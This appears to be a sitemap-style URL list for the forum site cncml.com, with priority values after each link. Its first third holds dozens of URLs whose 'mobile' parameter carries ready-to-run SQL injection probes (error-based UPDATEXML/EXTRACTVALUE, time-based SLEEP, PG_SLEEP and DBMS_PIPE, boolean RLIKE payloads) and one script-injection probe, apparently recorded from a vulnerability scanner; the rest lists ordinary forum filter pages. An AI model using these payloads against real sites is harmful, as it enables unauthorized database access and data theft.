http://www.cncml.com/forum.php?mobile=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(29=29)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'UT'='UT 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(87=14)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'Z9'='Z9 0.0001 http://www.cncml.com/forum.php?mobile=yes'%22 0.0001 http://www.cncml.com/forum.php?mobile=yes'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/forum.php?mobile=yes'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/forum.php?mobile=yes'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/forum.php?mobile=yes'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/forum.php?mobile=yes')%20AND%20('5X'%20LIKE%20'5X 0.0001 http://www.cncml.com/forum.php?mobile=yes')%20AND%20('wH'%20LIKE%20'9w 0.0001 http://www.cncml.com/forum.php?mobile=yes')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mobile=yes')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mobile=yes')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/forum.php?mobile=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mobile=yes')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mobile=yes')%20AND%2041=85%20AND%20('il'='il 0.0001 http://www.cncml.com/forum.php?mobile=yes')%20AND%2092=92%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mobile=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mobile=yes')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mobile=yes')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mobile=yes')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/forum.php?mobile=yes')%20OR%2011=11%20AND%20('sV'='sV 0.0001 http://www.cncml.com/forum.php?mobile=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(32=75)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20('LQ'='LQ 0.0001 http://www.cncml.com/forum.php?mobile=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(86=86)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20('Ck'='Ck 0.0001 http://www.cncml.com/forum.php?mobile=yes'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/forum.php?mobile=yes) 0.0001 http://www.cncml.com/forum.php?mobile=yes)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mobile=yes)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mobile=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mobile=yes)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mobile=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mobile=yes)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mobile=yes)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mobile=yes)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/forum.php?mobile=yes)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20(53=53 0.0001 http://www.cncml.com/forum.php?mobile=yes)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(56=14)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20(56=56 0.0001 http://www.cncml.com/forum.php?mobile=yes,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mobile=yes,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mobile=yes,(SELECT%20(CASE%20WHEN%20(16=62)%20THEN%200x796573%20ELSE%2016*(SELECT%2016%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mobile=yes,(SELECT%20(CASE%20WHEN%20(18=13)%20THEN%200x796573%20ELSE%2018*(SELECT%2018%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mobile=yes,(SELECT%20(CASE%20WHEN%20(21=21)%20THEN%200x796573%20ELSE%2021*(SELECT%2021%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mobile=yes,(SELECT%20(CASE%20WHEN%20(34=34)%20THEN%200x796573%20ELSE%2034*(SELECT%2034%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mobile=yes,(SELECT%20(CASE%20WHEN%20(47=47)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mobile=yes,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mobile=yes,(SELECT%20(CASE%20WHEN%20(67=29)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mobile=yes,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mobile=yes,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/forum.php?mobile=yes,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mobile=yes/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mobile=yes1 0.0001 http://www.cncml.com/forum.php?mobile=yes6633x3X6 0.0001 http://www.cncml.com/forum.php?mobile=yes;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mobile=yes;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mobile=yes;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mobile=yesAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/forum.php?mobile=yesAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/forum.php?mobile=yesJyI%3D 0.0001 http://www.cncml.com/forum.php?mobile=yesa' 0.0001 http://www.cncml.com/forum.php?mobile=yesalert(42873) 0.0001 http://www.cncml.com/forum.php?mobile=yese360 0.0001 http://www.cncml.com/forum.php?mod=announcement&id=3 0.0001 http://www.cncml.com/forum.php?mod=attachment&aid=ODB8YWEzMWQ0OWR8MTM2OTkxMjQzM3wxfDIwMw%3D%3D&noupdate=yes 0.0005 http://www.cncml.com/forum.php?mod=attachment&aid=ODB8YWEzMWQ0OWR8MTM2OTkxMjQzM3wxfDIwMw==&noupdate=yes 0.0001 http://www.cncml.com/forum.php?mod=attachment&aid=ODF8ZWZkNjUxOGR8MTQ1Mjg4OTUyM3wwfDIwNA%3D%3D&nothumb=yes 0.0001 http://www.cncml.com/forum.php?mod=attachment&aid=ODN8NDRiNWZlMGR8MTQ1Mjg4OTgzM3wwfDIxOQ%3D%3D&nothumb=yes 0.0001 http://www.cncml.com/forum.php?mod=attachment&aid=ODV8NjM4ZDE4NmV8MTQ1Mjg4OTU1N3wwfDIyMA%3D%3D&nothumb=yes 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter= 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=&orderby=lastpost& 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=author&orderby=dateline 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=digest&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=digest&digest=1&orderby=lastpost&typeid=14 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=digest&digest=1&orderby=lastpost&typeid=6 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=digest&digest=1&orderby=lastpost&typeid=7 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=digest&digest=1&typeid=14&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=digest&digest=1&typeid=6 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=digest&digest=1&typeid=6&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=digest&digest=1&typeid=7&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=heat&orderby=heats 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=hot 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=lastpost&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=lastpost&orderby=lastpost&typeid=14 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=lastpost&orderby=lastpost&typeid=14&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=lastpost&orderby=lastpost&typeid=5 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=lastpost&orderby=lastpost&typeid=5&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=lastpost&orderby=lastpost&typeid=6 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=lastpost&orderby=lastpost&typeid=7 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=lastpost&orderby=lastpost&typeid=7&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=reply&orderby=replies 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=reply&orderby=views 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=specialtype&specialtype=reward 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=typeid&typeid=14 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=typeid&typeid=14&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=typeid&typeid=14&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=typeid&typeid=5 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=typeid&typeid=5&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=typeid&typeid=5&digest=1&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=typeid&typeid=5&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=typeid&typeid=6 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=typeid&typeid=6&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=typeid&typeid=6&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=typeid&typeid=7 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=typeid&typeid=7&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&filter=typeid&typeid=7&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&orderby=heats 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&orderby=lastpost&filter=dateline 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&orderby=lastpost&filter=dateline&dateline=172800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&orderby=lastpost&filter=dateline&dateline=2592000 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&orderby=lastpost&filter=dateline&dateline=604800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&orderby=lastpost&filter=dateline&dateline=7948800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&orderby=lastpost&filter=dateline&dateline=86400 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&typeid=6 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=2&typeid=7 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter= 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=&orderby=lastpost& 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=author&orderby=dateline 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=digest&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=digest&digest=1&orderby=lastpost&typeid=10 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=digest&digest=1&orderby=lastpost&typeid=15 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=digest&digest=1&orderby=lastpost&typeid=8 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=digest&digest=1&orderby=lastpost&typeid=9 0.0003 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=digest&digest=1&typeid=10&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=digest&digest=1&typeid=15&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=digest&digest=1&typeid=8&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=digest&digest=1&typeid=9&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=heat&orderby=heats 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=hot 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=lastpost&orderby=lastpost 0.0002 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=lastpost&orderby=lastpost&digest=1&typeid=10 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=lastpost&orderby=lastpost&digest=1&typeid=15 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=lastpost&orderby=lastpost&digest=1&typeid=8 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=lastpost&orderby=lastpost&digest=1&typeid=9 0.0003 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=lastpost&orderby=lastpost&typeid=10&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=lastpost&orderby=lastpost&typeid=15&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=lastpost&orderby=lastpost&typeid=8&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=lastpost&orderby=lastpost&typeid=9&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=reply&orderby=replies 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=reply&orderby=views 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=specialtype&specialtype=reward 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=typeid&typeid=10 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=typeid&typeid=10&digest=1&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=typeid&typeid=10&orderby=lastpost&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=typeid&typeid=15 0.0002 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=typeid&typeid=15&digest=1&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=typeid&typeid=15&orderby=lastpost&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=typeid&typeid=8 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=typeid&typeid=8&digest=1&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=typeid&typeid=8&orderby=lastpost&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=typeid&typeid=9 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=typeid&typeid=9&digest=1&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&filter=typeid&typeid=9&orderby=lastpost&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&orderby=lastpost&filter=dateline 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&orderby=lastpost&filter=dateline&dateline=172800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&orderby=lastpost&filter=dateline&dateline=2592000 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&orderby=lastpost&filter=dateline&dateline=604800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&orderby=lastpost&filter=dateline&dateline=7948800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=38&orderby=lastpost&filter=dateline&dateline=86400 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter= 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=&orderby=lastpost& 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=author&orderby=dateline 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=digest&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=digest&digest=1&orderby=lastpost 0.0002 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=digest&digest=1&orderby=lastpost&typeid=13 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=digest&digest=1&typeid=11 0.0003 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=digest&digest=1&typeid=11&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=digest&digest=1&typeid=12&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=digest&digest=1&typeid=13&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=heat&orderby=heats 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=hot 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=lastpost&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=lastpost&orderby=lastpost&typeid=11&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=lastpost&orderby=lastpost&typeid=12&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=lastpost&orderby=lastpost&typeid=13&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=reply&orderby=replies 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=reply&orderby=views 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=specialtype&specialtype=reward 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=typeid&typeid=11 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=typeid&typeid=11&orderby=lastpost&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=typeid&typeid=12 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=typeid&typeid=12&orderby=lastpost&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=typeid&typeid=13 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=typeid&typeid=13&digest=1&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&filter=typeid&typeid=13&orderby=lastpost&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&orderby=lastpost&filter=dateline 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&orderby=lastpost&filter=dateline&dateline=172800 